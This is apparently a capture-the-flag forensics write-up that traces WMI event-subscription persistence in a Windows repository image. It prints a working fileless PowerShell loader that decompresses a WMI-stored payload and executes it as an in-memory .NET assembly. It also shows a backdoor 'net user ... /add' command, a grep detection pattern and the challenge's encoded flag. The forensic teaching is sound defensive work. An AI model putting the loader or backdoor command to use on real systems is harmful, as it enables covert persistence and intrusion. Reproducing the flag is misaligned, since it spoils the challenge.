August 9, 2026
Hunting Ghosts in the WMI Repository: After Hours| Hacker Holidays 2026 | Day 12
Room: Hacker Holidays 2026, Day 12: After Hours Difficulty: Beginner to Intermediate Environment: Kali Linux
By Youssefelkahkyy
5 min read
The Setup
It is 2:47 AM. The resort has gone quiet. The bar is closed, the pool lights are off, and the night-shift technician went home hours ago. But somewhere in the back office, a machine is still humming. And something is logging in.
You have been handed a forensic image from a compromised Windows workstation. The administrator suspects persistence but cannot find it. They checked the usual places — startup folders, scheduled tasks, registry run keys — and everything came back clean. Whatever is keeping this machine awake has found a place to hide that most tools do not think to look.
That place is the Windows Management Instrumentation repository.
If you have never dug into WMI persistence before, this guide is for you. I will assume you have a Kali Linux machine, a terminal, and curiosity. Nothing more.
What You Are Given
When you extract the WMI repository from the forensic image, you find five files:
plain
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATAINDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATAThese are the raw files of a Windows WMI repository. Think of WMI as Windows' internal librarian. It keeps a database of every hardware component, every software setting, and every system event. Administrators use it to query and manage machines. Attackers use it to hide things that normal tools never look at.
The First Clue: There Is No Obvious Persistence
The administrator already checked the obvious places and found nothing. That is your first hint. If the usual suspects are clean, you need to look somewhere unusual.
WMI persistence is exactly that. It is quiet, fileless, and survives reboots. The attacker creates a custom WMI class, stores a payload inside one of its properties, and sets up an event subscription that triggers the payload when a specific system event occurs. No executable on disk. No suspicious registry entry. Just a ghost in the database.
Step 1: Extract Strings from the Repository
WMI repository files are binary blobs. You cannot open them in a text editor and expect readable output. But binary files still contain strings, and strings is one of the most underrated tools in a forensics kit.
Open your terminal, navigate to the evidence directory, and run:
bash
# Extract ASCII strings
strings -a -n 6 OBJECTS.DATA > ascii_strings.txt
# Extract UTF-16LE strings (Windows loves UTF-16)
strings -a -el -n 6 OBJECTS.DATA > utf16_strings.txt# Extract ASCII strings
strings -a -n 6 OBJECTS.DATA > ascii_strings.txt
# Extract UTF-16LE strings (Windows loves UTF-16)
strings -a -el -n 6 OBJECTS.DATA > utf16_strings.txtWhat this does:
stringsscans a binary file and prints any sequence of printable characters.-aforces it to scan the entire file.-n 6only shows strings with at least six characters, filtering out noise.-eltellsstringsto look for UTF-16LE encoded strings, which Windows uses heavily.
You now have two text files containing every readable string buried inside that binary repository. The ghost is in there somewhere.
Step 2: Hunt for the Smoking Gun
Now you have tens of thousands of strings. You need to find the interesting ones. Start by grepping for anything that smells like execution:
bash
grep -Ein 'powershell|cmd\.exe|wscript|cscript|payload|encoded|base64|FromBase64|IEX|Invoke-|CommandLine|EventConsumer|EventFilter|FilterToConsumer|ActiveScript|root\\' ascii_strings.txt utf16_strings.txtgrep -Ein 'powershell|cmd\.exe|wscript|cscript|payload|encoded|base64|FromBase64|IEX|Invoke-|CommandLine|EventConsumer|EventFilter|FilterToConsumer|ActiveScript|root\\' ascii_strings.txt utf16_strings.txtWhat this does:
-Eenables extended regex.-imakes the search case-insensitive.-nshows line numbers, which helps you locate the exact string later.
You should see two things that immediately stand out:
- A
CommandLineEventConsumerreference containing a Base64-encoded PowerShell command. - A massive Base64 string sitting inside a property called
ConfigData.
That is your ghost. The CommandLineEventConsumer is the trigger. The ConfigData property is the payload vault.
Step 3: Decode the PowerShell Loader
The CommandLineEventConsumer contains a Base64-encoded PowerShell script. Let us decode it to understand what it does.
Copy the Base64 string from the grep output and decode it:
bash
echo '<BASE64_STRING_FROM_GREP_OUTPUT>' | base64 -decho '<BASE64_STRING_FROM_GREP_OUTPUT>' | base64 -dWhat you will see:
powershell
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
[IO.MemoryStream][Convert]::FromBase64String($file),
[IO.Compression.CompressionMode]::Decompress
);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
$o.Write($b,0,$r);
$r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
[IO.MemoryStream][Convert]::FromBase64String($file),
[IO.Compression.CompressionMode]::Decompress
);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
$o.Write($b,0,$r);
$r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-NullThis is the loader. It does four things:
- Connects to the WMI class
Win32_HardwareTelemetry. - Reads the
ConfigDataproperty. - Base64-decodes it, then DEFLATE-decompresses it.
- Loads the result as a .NET assembly directly into memory and executes it.
No file touches the disk. The entire payload lives inside the WMI database.
Step 4: Extract the Payload from ConfigData
Now you know where the payload lives. Go back to your strings file and find that massive Base64 blob near the ConfigData reference. It is thousands of characters long. Copy the entire string and save it to a file:
bash
# Paste the entire Base64 string into payload_b64.txt
echo '<MASSIVE_BASE64_STRING_FROM_CONFIGDATA>' > payload_b64.txt# Paste the entire Base64 string into payload_b64.txt
echo '<MASSIVE_BASE64_STRING_FROM_CONFIGDATA>' > payload_b64.txtPro tip: Make sure you copy the entire string without line breaks. If you miss even a few characters, the decode will fail.
Step 5: Decode and Decompress the Payload
The payload is Base64-encoded and then DEFLATE-compressed. Python handles both perfectly:
Python
import base64
import zlib
with open('payload_b64.txt', 'r') as f:
b64_data = f.read().strip()
# Base64 decode
compressed = base64.b64decode(b64_data)
print(f"Compressed size: {len(compressed)} bytes")
# DEFLATE decompress (raw deflate, no zlib header)
payload = zlib.decompress(compressed, -15)
print(f"Decompressed size: {len(payload)} bytes")
# Save the .NET assembly
with open('payload.dll', 'wb') as f:
f.write(payload)
print("Payload saved to payload.dll")import base64
import zlib
with open('payload_b64.txt', 'r') as f:
b64_data = f.read().strip()
# Base64 decode
compressed = base64.b64decode(b64_data)
print(f"Compressed size: {len(compressed)} bytes")
# DEFLATE decompress (raw deflate, no zlib header)
payload = zlib.decompress(compressed, -15)
print(f"Decompressed size: {len(payload)} bytes")
# Save the .NET assembly
with open('payload.dll', 'wb') as f:
f.write(payload)
print("Payload saved to payload.dll")Save this as decode_payload.py and run it:
bash
python3 decode_payload.pypython3 decode_payload.pyYou now have a .NET assembly loaded entirely in memory by the PowerShell loader.
Step 6: Analyze the .NET Assembly
Here is where things get interesting. If you run strings on the DLL, you will see standard .NET metadata, but the juicy stuff is encoded in UTF-16LE. Let us extract everything:
bash
# ASCII strings
strings payload.dll | grep -Ei 'THM|flag|cmd|net user'
# UTF-16LE strings (this is where the gold is)
strings -el payload.dll | grep -Ei 'THM|flag|cmd|net user'# ASCII strings
strings payload.dll | grep -Ei 'THM|flag|cmd|net user'
# UTF-16LE strings (this is where the gold is)
strings -el payload.dll | grep -Ei 'THM|flag|cmd|net user'The UTF-16LE output reveals something beautiful:
plain
cmd.exe
/c net user patch <BASE64_STRING> /addcmd.exe
/c net user patch <BASE64_STRING> /addThe .NET assembly creates a backdoor user named patch, and the user's password is a Base64 string. That string is the credential you are hunting for.
Step 7: Decode the Final Credential
One last Base64 decode:
bash
echo 'VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9' | base64 -decho 'VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9' | base64 -dThis reveals the plaintext credential the attacker embedded in their payload. In a real incident, this might be a backdoor account password, a command-and-control URL, or an encryption key. In a training or lab environment, this decoded string is typically the proof-of-compromise artifact you are hunting for.
The Full Attack Chain
Let me put this together so you can see the entire kill chain:
plain
Attacker creates custom WMI class: Win32_HardwareTelemetry
|
v
Stores Base64+DEFLATE payload in ConfigData
|
v
Creates CommandLineEventConsumer
that triggers on a system event
|
v
Consumer runs encoded PowerShell
|
v
PowerShell reads ConfigData,
decodes it, decompresses it,
loads .NET assembly into memory
|
v
Assembly executes attacker commandsAttacker creates custom WMI class: Win32_HardwareTelemetry
|
v
Stores Base64+DEFLATE payload in ConfigData
|
v
Creates CommandLineEventConsumer
that triggers on a system event
|
v
Consumer runs encoded PowerShell
|
v
PowerShell reads ConfigData,
decodes it, decompresses it,
loads .NET assembly into memory
|
v
Assembly executes attacker commandsNo files on disk. No registry keys. No scheduled tasks. Just a custom WMI class and an event subscription, hiding in plain sight inside Windows' own management database.
Why This Matters
As a forensic investigator, you need to know that persistence does not always look like a startup program or a cron job. WMI persistence is:
- Fileless: The payload never touches the disk.
- Stealthy: Most autoruns tools do not check WMI.
- Resilient: It survives reboots and can trigger on almost any system event.
- Native: It uses built-in Windows features, so it looks legitimate.
As a defender, you should:
- Monitor WMI event subscriptions with tools like Sysmon.
- Audit custom WMI classes, especially in
ROOT\cimv2. - Use
Get-WmiObjectandGet-CimInstanceto baseline your environment. - Be suspicious of
CommandLineEventConsumerandActiveScriptEventConsumer.
Lessons Learned
- Always check the unusual suspects. If Startup, Scheduled Tasks, and Registry are clean, look at WMI, DLL hijacking, and service configurations.
- Strings is a superpower. A simple
stringscommand can turn an opaque binary file into readable intelligence. - Encoding is not encryption. Base64 and DEFLATE are not meant to hide data from analysts. They are meant to transport it safely. Never let encoded data intimidate you.
- UTF-16LE is everywhere in Windows. If you only search for ASCII strings, you will miss half the story.
- In-memory execution is the future. Attackers increasingly avoid disk artifacts. Learn to analyze memory-resident payloads.
Final Thoughts
After Hours is a brilliant room because it forces you to think like a forensic investigator. You are not exploiting a vulnerability. You are reconstructing a story from artifacts. You are asking: What happened here? Who did it? Where did they hide?
That is the heart of blue teaming and incident response. And it is a skill every red teamer should master, because the better you are at finding ghosts, the better you are at becoming one.
Happy hunting.